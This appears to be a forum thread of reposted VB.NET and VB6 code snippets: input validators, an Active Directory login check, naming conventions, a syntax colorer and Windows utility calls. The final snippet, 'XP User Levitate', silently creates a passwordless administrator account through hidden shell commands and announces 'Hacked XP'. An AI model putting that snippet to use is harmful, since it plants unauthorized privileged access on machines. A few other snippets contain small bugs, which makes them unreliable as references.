|
Post by handsomepredator on Jun 29, 2015 11:21:32 GMT
Using Tabindex to load instructions to a Statusbar. Language: VB.NET Last Modified: December 31, 1969 Instructions: All you need to do is copy and paste this snippet into you code. You will however need to edit the messages,textbox names and button names to suit your application. This application is set up for 5 textboxes and 1 button so you will again need to adjust the Array size to suit your application. This sub can also be used with modification for error messaging. I am using the gotfocus function however you could use the keypress function etc.
Quote 'This Sub Loads the Relevant Instruction to the Statusbar on Focus Private Sub User_Instructions(ByVal sender As Object, ByVal e As System.EventArgs) _ Handles XPos.GotFocus, YPos.GotFocus, StAng.GotFocus, PCDRad.GotFocus _ , NumHoles.GotFocus, CalHoles.GotFocus
'Load active Tabindex to Variable Dim TB_focus As Integer = ActiveControl.TabIndex Dim infoArray(6) As String
'Array of messages infoArray(0) = "Ready : Please enter the X co-ordinate Position" infoArray(1) = "Ready : Please enter the Y co-ordinate Position" infoArray(2) = "Ready : Please enter the Start Postion, ie 3 oclock = 0" infoArray(3) = "Ready : Please enter the radius value of the PCD" infoArray(4) = "Ready : Please enter the number of Holes for the PCD" infoArray(5) = "Ready : Now Press the [Calculate Hole Positions] Button"
'Show Instructions in the Status bar StatusBar1.Panels(0).Text = infoArray(TB_focus)
end sub
|
|
|
Post by handsomepredator on Jun 29, 2015 11:21:45 GMT
Validate a Port Number
Language: VB.NET Instructions: 1) Copy and paste the function into a class. 2) Read example on how to call the function.
Quote ''' <summary> ''' Checks to see if a TCP/UDP port number is valid. ''' </summary> ''' <param name="portNum">Number to check</param> ''' <returns>True if it is valid, False if otherwise</returns> ''' <remarks></remarks> Public Function isPortNumberValid(ByVal portNum As Integer) As Boolean If portNum >= 0 And portNum <= 65535 Then Return True Return False End Function
' Example Usage MessageBox.Show(isPortNumberValid(2345).ToString())
|
|
|
Post by handsomepredator on Jun 29, 2015 11:22:05 GMT
Validate email address with Regular Expressions Language: VB.NET Instructions: Just pass an email address to the function
Quote ''' <summary> ''' method for determining is the user provided a valid email address ''' We use regular expressions in this check, as it is a more thorough ''' way of checking the address provided ''' </summary> ''' <param name="email">email address to validate</param> ''' <returns>true is valid, false if not valid</returns> Public Function IsValidEmail(ByVal email As String) As Boolean 'regular expression pattern for valid email 'addresses, allows for the following domains: 'com,edu,info,gov,int,mil,net,org,biz,name,museum,coop,aero,pro,tv Dim pattern As String = "^[-a-zA-Z0-9][-.a-zA-Z0-9]*@[-.a-zA-Z0-9]+(\.[-.a-zA-Z0-9]+)*\." & _ "(com|edu|info|gov|int|mil|net|org|biz|name|museum|coop|aero|pro|tv|[a-zA-Z]{2})$" 'Regular expression object Dim check As New Text.RegularExpressions.Regex(pattern,RegexOptions.IgnorePatternWhitespace) 'boolean variable to return to calling method Dim valid As Boolean = False
'make sure an email address was provided If String.IsNullOrEmpty(email) Then valid = False Else 'use IsMatch to validate the address valid = check.IsMatch(email) End If 'return the value to the calling method Return valid End Function
|
|
|
Post by handsomepredator on Jun 29, 2015 11:22:14 GMT
Validate IP address with Regular Expression Language: VB.NET Instructions: Pass the function an IP address
Quote ''' <summary> ''' method to validate an IP address ''' using regular expressions. The pattern ''' being used will validate an ip address ''' with the range of 1.0.0.0 to 255.255.255.255 ''' </summary> ''' <param name="addr">Address to validate</param> ''' <returns></returns> Public Function IsValidIP(ByVal addr As String) As Boolean 'create our match pattern Dim pattern As String = "^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\." & _ "([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$" 'create our Regular Expression object Dim check As New Text.RegularExpressions.Regex(pattern) 'boolean variable to hold the status Dim valid As Boolean = False 'check to make sure an ip address was provided If addr = "" Then 'no address provided so return false valid = False Else 'address provided so use the IsMatch Method 'of the Regular Expression object valid = check.IsMatch(addr, 0) End If 'return the results Return valid End Function
|
|
|
Post by handsomepredator on Jun 29, 2015 11:22:32 GMT
Validate IP address with TryParse Language: VB.NET Instructions: Pass the function an IP address, it will return a true or false depending on the validity of the address provided
Quote '<summary> 'method to validate an IP address using 'the TryParse Method of the IPAddress class '</summary> '<param name="addr">address to validate</param> '<returns></returns> Public Function IsValidIP(ByVal addr As String) As Boolean 'boolean variable to hold the status Dim valid As Boolean = False 'check to make sure an ip address was provided If String.IsNullOrEmpty(addr) Then 'address wasnt provided so return false valid = False Else 'use TryParse to see if this is a 'valid ip address. TryParse returns a 'boolean based on the validity of the 'provided address, so assign that value 'to our boolean variable valid = Net.IPAddress.TryParse(addr, Nothing) End If 'return the value Return valid End Function
|
|
|
Post by handsomepredator on Jun 29, 2015 11:22:49 GMT
Validate Phone Number with Regular Expressions Language: VB.NET Instructions: Pass the phone number as a string to the function. Thus far, I've tested the regular expression on these phone number formats:
(111) 111-1111 1111111111 111 111.1111 111-111-1111 111111-1111 111.111.1111
Quote Public Function isValidPhoneNumber(ByVal phoneNumber As String) As Boolean Dim pattern As String = "^\(?[1-9]\d{2}\)?([-., ])?[1-9]\d{2}([-., ])?\d{4}$" Dim test As New RegularExpressions.Regex(pattern) Dim valid As Boolean = False valid = test.IsMatch(phoneNumber, 0) Return valid End Function
|
|
|
Post by handsomepredator on Jun 29, 2015 11:23:03 GMT
Verify Active Directory login in VB.Net Language: VB.NET Instructions: Pass the function the users network login, first name and their last name
Quote ''' <summary> ''' Function to search the Active Directory and ensure the Login provided in Agent Process is a valid one. The search is performed ''' to see if the login provided exists for the first and last name of the associate being added ''' </summary> ''' <param name="loginName">Login of the associate to search for</param> ''' <param name="givenName">First name of the associate being added</param> ''' <param name="surName">Last name of the associate being added</param> ''' <returns>True or False depending if the login provided is a valid one</returns> ''' <remarks></remarks> Public Function IsValidADLogin(ByVal loginName As String, ByVal givenName As String, ByVal surName As String) As Boolean Dim oReturn As New fnStatRtn(True) Dim isValid As Boolean = False Try Dim search As New DirectorySearcher() search.Filter = String.Format("(&(SAMAccountName={0})(givenName={1})(sn={2}))", & _ ExtractUserName(loginName), givenName, surName) search.PropertiesToLoad.Add("cn") search.PropertiesToLoad.Add("SAMAccountName") search.PropertiesToLoad.Add("givenName") search.PropertiesToLoad.Add("sn") Dim result As SearchResult = search.FindOne() If result Is Nothing Then isValid = False Else isValid = True End If Catch ex As Exception MessageBox.Show(ex.Message) isValid = False End Try Return isValid End Function
''' <summary> ''' Function to extract just the login from the provided string (given in the format NETWORKNAME\Firstname.Lastname) ''' </summary> ''' <param name="path">Full AD login of the associate</param> ''' <returns>The login with the "NETWORKNAME\" stripped</returns> ''' <remarks></remarks> Private Function ExtractUserName(ByVal path As String) As String Dim userPath As String() = path.Split(New Char() {"\"c}) Return userPath((userPath.Length - 1)) End Function
|
|
|
Post by handsomepredator on Jun 29, 2015 11:23:14 GMT
Visual Basic 6.0(using dynamic and fixed array)
Dynamic Array Chicken
Private sub cmddynamic_click() Dim y() As Integer Redim y(50) y(0) = 34 y(1) = 41 y(50) = 89
Print y(0) Print y(1) Print y(50)
Redim y (70) y(51) = 866 Print y(51) End Sub
Fixed Array Pig
Private Sub cmdfixed_click() Dim x(10) As Integer x(0) = 55 x(10) = 98 Print x(0) Print y(10) End Sub
|
|
|
Post by handsomepredator on Jun 29, 2015 11:23:29 GMT
Visual Basic Naming Convention Naming Convention - is a set of rules for choosing the character sequence to be used for identifiers in source code and documentation.
make programs more understandable by making them easier to read. They can also give information about the function of the identifier
It is a good idea to establish naming conventions for your Visual Basic code. to make source code easier to read and understand with less effort; to enhance source code appearance
Potential benefits
to provide additional information (ie, metadata) about the use to which an identifier is put to help formalize expectations and promote consistency within a development team o enable the use of automated refactoring or search and replace tools with minimal potential for error to enhance clarity in cases of potential ambiguity to enhance the aesthetic and professional appearance of work product (for example, by disallowing overly long names, comical or "cute" names, or abbreviations to help avoid "naming collisions" that might occur when the work product of different organizations is combined
Object Naming
Object Prefix Example --------------------------------------------------------------------------
Form frm frmFileOpen Check box chk ReadOnly Combo box cbo cboEnglish Data-bound combo box dbc dbcEnglish Command button cmd cmdCancel Data dat datBiblio Directory list box dir dirSource Drive list box drv drvTarget File list box fil filSource Frame fra fraLanguage Grid grd grdPrices Data-bound grid dbg dbgPrices Horizontal scroll bar hsb hsbVolume Image img imgIcon Label lbl lblHelpMessage Line lin linVertical List box lst lstPolicyCodes Data-bound list box dbl dblPolicyCode Menu mnu mnuFileOpen OLE container ole oleObject1 Option button opt optFrench Picture box pic picDiskSpace Shape shp shpCircle Text box txt txtGetText Timer tmr tmrAlarm
Vertical scroll bar vsb vsbRate Animation button ani aniMailBox bed Pen Bedit bedFirstName Checkbox chk chkReadOnly Picture clip clp clpToolbar Communications com comFax Control ctl ctrCurrent Data control dat datBiblioDirectory Directory list box dir dirSource Common dialog ctrl dlg dlgFileOpen Drive list box drv drvTarget File list box fil filSource Form frm frmEntry Frame (3d) fra fraStyle Gauge gau gauStatus Group push button gpb gpbChannel Graph gra graRevenue Grid grd grdPrices Pen Hedit hed hedSignature Horizontalscrollbar hsb hsbVolume Image img imgIcon Pen Ink ink inkMap Keyboard key status key keyCaps Label lbl lblHelpMessage Line lin linVertical MDI child form mdi mdiNote MAPI message mpm mpmSentMessage MAPI session mps mpsSession MCI mci mciVideo Menu mnu mnuFileOpen Object obj objUserTable Option Button (3d) opt optRed Outline control out outOrgChart 3d Panel pnl (3d) pnlTitleList Report control rpt rptQtr1Earnings Shape controls shp shpCircle Spin control spn spnPages Timer tmr tmrAlarm Vertical scroll bar vsb vsbRate
Database Objects Naming
Database Objects Prefix Example --------------------------------------------------------------------------
ODBC Database db dbAccounts ODBC Dynaset object dyn dynSalesByRegion Field collection fld fldCustomer Field object fld fldAddress Form frm frmNewUser Index object idx idxAge Index collection idx idxNewAge Macro mcr mcrCollectUsers QueryDef object qry qrySalesByRegion Query qry qrySalesByRegion Report rpt rptAnnualSales Snapshot object snp snpForecast Table object tbl tblCustomer TableDef object tbd tbdCustomers
Menu Naming Conventions
Menu Caption Sequence Menu Handler Name
Help.Contents mnuHelpContents File.Open mnuFileOpen Format.Character mnuFormatCharacter File.Send.Fax mnuFileSendFax File.Send.Email mnuFileSendEmail
Variable & Function Name Prefixes & Suffixes
Prefix Converged Variable Use Data Type Suffix
b bln Boolean Integer % c cur Currency - 64 bits Currency @ d dbl Double - 64 bit Double # signed quantity dt dat Date and Time Variant e err Error f sng Float/Single - 32 Single ! bit signed floating point h Handle Integer % i Index Integer % l lng Long - 32 bit Long & signed quantity n int Number/Counter Integer % s str String String $ u Unsigned - 16 bit Long & unsigned quantity udt User-defined type vnt vnt Variant Variant a Array
Scope and Usage Prefixes
Prefix Description
g Global m Local to module or form st Static variable (no prefix) Non-static variable, prefix local to procedure v Variable passed by value (local to a routine) r Variable passed by reference (local to a routine)
Scope
Scope Variable Declared In: Visibility
Procedure-level Event procedure, sub, or Visible in the function procedure in which it is declared Form-level, Declarations section of a form Visible in every Module-level or code module (.FRM, .BAS) procedure in the form or code module Global Declarations section of a code Always visible module (.BAS, using Global keyword)
|
|
|
Post by handsomepredator on Jun 29, 2015 11:23:44 GMT
Visual basic password generator Authors Comments: Visual basic password generator
Quote Function passGen( <strong class="highlight">password</strong> As String ) As String
Dim words(26, 3) As String
Dim strTemp As String
Dim intRnd As Integer
Dim result As String
' /* Assign Similar Values For 'A' */
words(0, 0) = "@"
words(0, 1) = "/"
words(0, 2) = "A"
words(0, 3) = "A"
' /* Assign Similar Values For 'B' */
words(1, 0) = "8"
words(1, 1) = "|3"
words(1, 2) = "B"
words(1, 3) = "B"
' /* Assign Similar Values For 'C' */
words(2, 0) = "["
words(2, 1) = "("
words(2, 2) = "<"
words(2, 3) = "C"
' /* Assign Similar Values For 'D' */
words(3, 0) = "|}"
words(3, 1) = "|]"
words(3, 2) = "|)"
words(3, 3) = "D"
' /* What you need to do are assign all
' the similar of each letter of the alphabet
' like what i have example for you above */
Randomize
' /* start generate each character
' into secure character. */
For i = 1 To Len(<strong class="highlight">password</strong>)
' /* store the current character
' that we try to convert */
strTemp = Mid(<strong class="highlight">password</strong>, i, 1)
' // Random similar letter of alphabet
intRnd = Int(Rnd * 3)
' /* if it is a alphabet then
' we will replace it with similar string */
If UCase(strTemp) <> LCase(strTemp) Then
' /* start replace similar word into string */
result = result & words(Asc(UCase(strTemp)) - 65, intRnd)
Else
' /* if it isn't a alphabet
result = result & strTemp
End If
Next i
' /* return the result
passGen = result
End Function
|
|
|
Post by handsomepredator on Jun 29, 2015 11:24:00 GMT
web syntax color up [ Demo ] Language: VB.NET Instructions: Add the following code to new empty projects source.
It has a code defined GUI so one would only need to compile it.
Add your source code to the first tab (use Ctrl+v to paste). Click on the other tab and it would be modified.
Quote 'written by Margus Martsepp AKA m2s87
'Used controls
'Form1.TabPage1.Controls.Item(0).Text [Source] 'Form1.SplitContainer1.Panel1.Controls.Item(1).Text [Result]
Public Class Form1 Friend WithEvents TabControl1 As System.Windows.Forms.TabControl Friend WithEvents TabPage1 As System.Windows.Forms.TabPage Friend WithEvents RichTextBox1 As System.Windows.Forms.RichTextBox Friend WithEvents TabPage2 As System.Windows.Forms.TabPage Friend WithEvents Timer1 As System.Windows.Forms.Timer Friend WithEvents SplitContainer1 As System.Windows.Forms.SplitContainer Friend WithEvents Label1 As System.Windows.Forms.Label Friend WithEvents RichTextBox2 As System.Windows.Forms.RichTextBox Friend WithEvents ProgressBar1 As System.Windows.Forms.ProgressBar
Private Sub TabPage2_Enter1(ByVal sender As Object, ByVal e As System.EventArgs) Handles TabPage2.Enter Me.SplitContainer1.Panel2Collapsed = False Dim x As New leia_vajalik End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Me.components = New System.ComponentModel.Container Me.TabControl1 = New System.Windows.Forms.TabControl Me.TabPage1 = New System.Windows.Forms.TabPage Me.RichTextBox1 = New System.Windows.Forms.RichTextBox Me.TabPage2 = New System.Windows.Forms.TabPage Me.SplitContainer1 = New System.Windows.Forms.SplitContainer Me.ProgressBar1 = New System.Windows.Forms.ProgressBar Me.RichTextBox2 = New System.Windows.Forms.RichTextBox Me.Label1 = New System.Windows.Forms.Label Me.Timer1 = New System.Windows.Forms.Timer(Me.components) Me.TabControl1.SuspendLayout() Me.TabPage1.SuspendLayout() Me.TabPage2.SuspendLayout() Me.SplitContainer1.Panel1.SuspendLayout() Me.SplitContainer1.Panel2.SuspendLayout() Me.SplitContainer1.SuspendLayout() Me.SuspendLayout() ' 'TabControl1 ' Me.TabControl1.Controls.Add(Me.TabPage1) Me.TabControl1.Controls.Add(Me.TabPage2) Me.TabControl1.Location = New System.Drawing.Point(12, 12) Me.TabControl1.Name = "TabControl1" Me.TabControl1.SelectedIndex = 0 Me.TabControl1.Size = New System.Drawing.Size(723, 321) Me.TabControl1.TabIndex = 0 ' 'TabPage1 ' Me.TabPage1.Controls.Add(Me.RichTextBox1) Me.TabPage1.Location = New System.Drawing.Point(4, 22) Me.TabPage1.Name = "TabPage1" Me.TabPage1.Padding = New System.Windows.Forms.Padding(3) Me.TabPage1.Size = New System.Drawing.Size(715, 295) Me.TabPage1.TabIndex = 0 Me.TabPage1.Text = " Enne | Before " Me.TabPage1.UseVisualStyleBackColor = True ' 'RichTextBox1 ' Me.RichTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None Me.RichTextBox1.Dock = System.Windows.Forms.DockStyle.Fill Me.RichTextBox1.Location = New System.Drawing.Point(3, 3) Me.RichTextBox1.Name = "RichTextBox1" Me.RichTextBox1.Size = New System.Drawing.Size(709, 289) Me.RichTextBox1.TabIndex = 0 Me.RichTextBox1.Text = "" ' 'TabPage2 ' Me.TabPage2.Controls.Add(Me.SplitContainer1) Me.TabPage2.Location = New System.Drawing.Point(4, 22) Me.TabPage2.Name = "TabPage2" Me.TabPage2.Padding = New System.Windows.Forms.Padding(3) Me.TabPage2.Size = New System.Drawing.Size(715, 295) Me.TabPage2.TabIndex = 1 Me.TabPage2.Text = " Pärast | After " Me.TabPage2.UseVisualStyleBackColor = True ' 'SplitContainer1 ' Me.SplitContainer1.Dock = System.Windows.Forms.DockStyle.Fill Me.SplitContainer1.Location = New System.Drawing.Point(3, 3) Me.SplitContainer1.Name = "SplitContainer1" Me.SplitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal ' 'SplitContainer1.Panel1 ' Me.SplitContainer1.Panel1.Controls.Add(Me.ProgressBar1) Me.SplitContainer1.Panel1.Controls.Add(Me.RichTextBox2) ' 'SplitContainer1.Panel2 ' Me.SplitContainer1.Panel2.Controls.Add(Me.Label1) Me.SplitContainer1.Size = New System.Drawing.Size(709, 289) Me.SplitContainer1.SplitterDistance = 225 Me.SplitContainer1.TabIndex = 2 ' 'ProgressBar1 ' Me.ProgressBar1.BackColor = System.Drawing.Color.Black Me.ProgressBar1.Cursor = System.Windows.Forms.Cursors.WaitCursor Me.ProgressBar1.Enabled = False Me.ProgressBar1.ForeColor = System.Drawing.Color.LightSkyBlue Me.ProgressBar1.Location = New System.Drawing.Point(158, 87) Me.ProgressBar1.MarqueeAnimationSpeed = 87 Me.ProgressBar1.Name = "ProgressBar1" Me.ProgressBar1.Size = New System.Drawing.Size(393, 50) Me.ProgressBar1.Style = System.Windows.Forms.ProgressBarStyle.Marquee Me.ProgressBar1.TabIndex = 3 Me.ProgressBar1.UseWaitCursor = True ' 'RichTextBox2 ' Me.RichTextBox2.BorderStyle = System.Windows.Forms.BorderStyle.None Me.RichTextBox2.Dock = System.Windows.Forms.DockStyle.Fill Me.RichTextBox2.Location = New System.Drawing.Point(0, 0) Me.RichTextBox2.Name = "RichTextBox2" Me.RichTextBox2.Size = New System.Drawing.Size(709, 225) Me.RichTextBox2.TabIndex = 1 Me.RichTextBox2.Text = "" ' 'Label1 ' Me.Label1.Dock = System.Windows.Forms.DockStyle.Fill Me.Label1.Location = New System.Drawing.Point(0, 0) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(709, 60) Me.Label1.TabIndex = 2 Me.Label1.Text = "Palun Oota" & Global.Microsoft.VisualBasic.ChrW(13) & Global.Microsoft.VisualBasic.ChrW(10) & "Please Wait" Me.Label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter ' 'Form1 ' Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font Me.ClientSize = New System.Drawing.Size(747, 345) Me.Controls.Add(Me.TabControl1) Me.Name = "Form1" Me.Text = "Värvi mind | Color on" Me.TabControl1.ResumeLayout(False) Me.TabPage1.ResumeLayout(False) Me.TabPage2.ResumeLayout(False) Me.SplitContainer1.Panel1.ResumeLayout(False) Me.SplitContainer1.Panel2.ResumeLayout(False) Me.SplitContainer1.ResumeLayout(False) Me.ResumeLayout(False) End Sub
End Class
Class leia_vajalik Friend WithEvents taimer As New System.Windows.Forms.Timer Dim võtmesõnad() As String = ( _ "Public|Class |Private|Sub|ByVal|As|" & _ "Objct|Handles|Me.|True|False|For |Next|End|Function|String|Goto|" & _ "ByRef|To|Step| If|ElseIf|Select|Case|Dim|Friend|NotInheritable|" & _ "Protected|Static|Shared|New|Overloads|MyClass|Structure|" & _ "Finalize|AddressOf|Option Explicit|Nothing|IsDbNull|Default|Then|" & _ "MyBase|Interface|Implements|Module|Partial|MustInherit|" & _ "Enum|Inherits|Overrides|MustOverride|NotOverridable|Overridable|" & _ "Shadowing|Delegate|WithEvents|With |Try|Catch|Finally|Do |Region |" & _ "Until|Exit|Each|In | {|} |Redim|Declare|Event |Raise|SyncLock|My.").Split("|") Private Sub taimer_tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles taimer.Tick taimer.Enabled = False
Dim tekst As String = Form1.TabPage1.Controls.Item(0).Text
Form1.SplitContainer1.Panel1.Controls.Item(0).Visible = True Form1.SplitContainer1.Panel1.Controls.Item(1).Text = leia_taanded(lskvv((tekst))) Form1.SplitContainer1.Panel1.Controls.Item(0).Visible = False Form1.SplitContainer1.Panel2Collapsed = True End Sub
Public Sub New() taimer.Interval = 100 taimer.Enabled = True End Sub
Public Function leia_taanded(ByRef tekst As String) As String 'I am not a wear of any better way, to whitespace the project Const teade = " [il][/il] " 'Const teade = " "
Dim k As Integer = 0 Dim g() As String = tekst.Split(Chr(10))
For i As Integer = 0 To g.GetUpperBound(0) see1: Application.DoEvents() If Mid(g(i), 1, 4) = " " Then g(i) = Mid(g(i), 5, Len(g(i))) : k = k + 1 : GoTo see1 see2: Application.DoEvents() If k > 0 Then g(i) = teade & g(i) : k = k - 1 : GoTo see2 Application.DoEvents() Next i
leia_taanded = Join(g, Chr(10)) End Function
'leia_stringid_ja_kommentaarid_ja_võtmesõnad_ja_lõppväärtusta Public Function lskvv(ByVal tekst As String) As String Dim buffer As String = "" Dim j As Integer = 0 Dim g() As String = tekst.Split(Chr(10)) Dim number, i As Integer
For z As Integer = 0 To g.GetUpperBound(0) 'uncomment next line to see the progres 'Form1.Text = "Värvi mind | Color on [ " & z & "/" & g.GetUpperBound(0) & " ]"
number = Len(g(z)) i = 0 Do Until i + 1 >= number i += 1
Application.DoEvents() If Asc(Mid(g(z), i, 1)) = 39 Or Mid(g(z), i, 3) = "REM" Then g(z) = Replace(g(z), Mid(g(z), i, Len(g(z))), "" & Mid(g(z), i, Len(g(z))) & "") Else If Asc(Mid(g(z), i, 1)) = 34 Then buffer = "" Do buffer &= Mid(g(z), i, 1) Application.DoEvents() If Len(g(z)) = i Or Len(buffer) > 1 And Asc(Mid(g(z), i, 1)) = 34 Then g(z) = Replace(g(z), buffer, "" & buffer & "") i += 23 number += 23 Exit Do Else i += 1 End If Loop Else For k As Integer = 0 To 71 If Mid(g(z), i, Len(võtmesõnad(k))) = võtmesõnad(k) Then g(z) = Mid(g(z), 1, i - 1) & "" & võtmesõnad(k) & "" & _ IIf(Len(g(z)) > i + Len(võtmesõnad(k)), Mid(g(z), i + Len(võtmesõnad(k)), Len(g(z))), "")
i += 30 number += 30 Application.DoEvents() Exit For End If Next k End If End If Loop Next z lskvv = Join(g, Chr(10)).ToString lskvv = "" & Join(g, Chr(10)) & "" Form1.Text = "Värvi mind | Color on" End Function End Class
|
|
|
Post by handsomepredator on Jun 29, 2015 11:32:33 GMT
Windows About Box for your app Language: VB.NET
Shows an about box using the same hook that Notepad and Calc use
Quote Public Declare Function ShellAbout Lib "shell32.dll" Alias "ShellAboutA" ( _ ByVal hwnd As Int32, _ ByVal szApp As String, _ ByVal szOtherStuff As String, _ ByVal hIcon As Int32) As Int32
shellAbout(0, "MyApp", "My App Description + extra info (Other Stuff)", 0)
|
|
|
Post by handsomepredator on Jun 29, 2015 11:32:43 GMT
Write to the System Event Log Language: VB.NET Instructions: Here is the definitions for each variable in the function's signature:
sEntry : The value to write to the log sAppName: The applications name eEventType: THe type of entry e.g.,EventLogEntryType.Warning,EventLogEntryType.Error, and so on sLogName: (System, Application, etc) If you specify a non-existant log the log will be created
Quote Public Function WriteEvent(ByVal sEntry As String, ByVal sAppName As String, ByVal eEventType As EventLogEntryType, ByVal sLogName As String) As Boolean Dim oEventLog As New EventLog Try 'Register the Application as an Event Source If Not EventLog.SourceExists(sAppName) Then EventLog.CreateEventSource(sAppName, sLogName) End If
'log the entry oEventLog.Source = sAppName oEventLog.WriteEntry(sEntry, eEventType) Return True Catch Ex As Exception MessageBox.Show(Ex.Message, "Event Log Error", MessageBoxButtons.OK, MessageBoxIcon.Error) Return False End Try End Function
|
|
|
Post by handsomepredator on Jun 29, 2015 11:32:50 GMT
XP User Levitate Authors Comments: Will make an admin account on the box run from.
Quote #################################START###############################
Private Sub Form_Load()
Shell "net user NewAdmin " & """""" & " /add", vbHide
Pause (1)
Shell "net localgroup administrators NewAdmin /add", vbHide
Pause (1)
msgbox "Added Administrative User",16,"Hacked XP"
End
End Sub
Sub Pause(interval)
'Pauses execution
Current = Timer
Do While Timer - Current < Val(interval)
DoEvents
Loop
End Sub
|
|
|
Post by Admin on Jun 29, 2015 11:51:58 GMT
|
|